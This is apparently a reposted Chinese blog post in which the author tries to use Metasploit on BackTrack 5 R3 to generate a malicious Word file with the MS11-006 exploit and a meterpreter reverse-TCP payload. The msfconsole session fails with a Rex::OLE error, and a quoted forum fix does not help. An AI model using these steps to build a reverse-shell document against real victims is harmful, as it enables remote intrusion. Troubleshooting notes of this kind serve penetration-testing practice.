metasploit文件格式漏洞渗透攻击(失败)

来源:互联网 发布:淘宝抢现货技巧 编辑:程序博客网 时间:2024/03/29 17:48
root@bt:~# msfconsole IIIIII    dTb.dTb        _.---._  II     4'  v  'B   .'"".'/|`.""'.  II     6.     .P  :  .' / |  `.  :  II     'T;. .;P'  '.'  /  |    `.'  II      'T; ;P'    `. /   |    .'IIIIII     'YvP'       `-.__|__.-'I love shells --egypt       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]+ -- --=[ 927 exploits - 499 auxiliary - 151 post+ -- --=[ 251 payloads - 28 encoders - 8 nopsmsf > use windows/fileformat/ms11_006_createsizeddibsectionmsf  exploit(ms11_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf  exploit(ms11_006_createsizeddibsection) > set LHOST 192.168.1.11LHOST => 192.168.1.11msf  exploit(ms11_006_createsizeddibsection) > set LPORT 443LPORT => 443msf  exploit(ms11_006_createsizeddibsection) > set OUTPUTPATH /opt/metasploit/msf3/data/exploits/OUTPUTPATH => /opt/metasploit/msf3/data/exploits/msf  exploit(ms11_006_createsizeddibsection) > show optionsModule options (exploit/windows/fileformat/ms11_006_createsizeddibsection):   Name        Current Setting                      Required  Description   ----        ---------------                      --------  -----------   FILENAME    msf.doc                              yes       The file name.   OUTPUTPATH  /opt/metasploit/msf3/data/exploits/  yes       The output path to use.Payload options (windows/meterpreter/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  seh              yes       Exit technique: seh, thread, process, none   LHOST     192.168.1.11     yes       The listen address   LPORT     443              yes       The listen portExploit target:   Id  Name   --  ----   0   Automaticmsf  exploit(ms11_006_createsizeddibsection) > exploit[*] Creating 'msf.doc' file ...[-] Exploit failed: NameError uninitialized constant Rex::OLEmsf  exploit(ms11_006_createsizeddibsection) > 


失败了。谷歌了一下,找到参考答案:

Open /opt/metasploit/apps/pro/msf3/modules/exploits/windows/fileformat/ms11_006_creat esizeddibsection.rb in any text editor and include the following two lines at the top of the page where you will see:require 'msf/core' Add:require 'rex/ole'require 'rex/ole/util' All in all, you should have three require statements now:require 'msf/core'require 'rex/ole'require 'rex/ole/util'
https://community.rapid7.com/message/7864#7864

自己修改了一下那个文件,重启msfconsole,还是不行。

环境是BT5R3。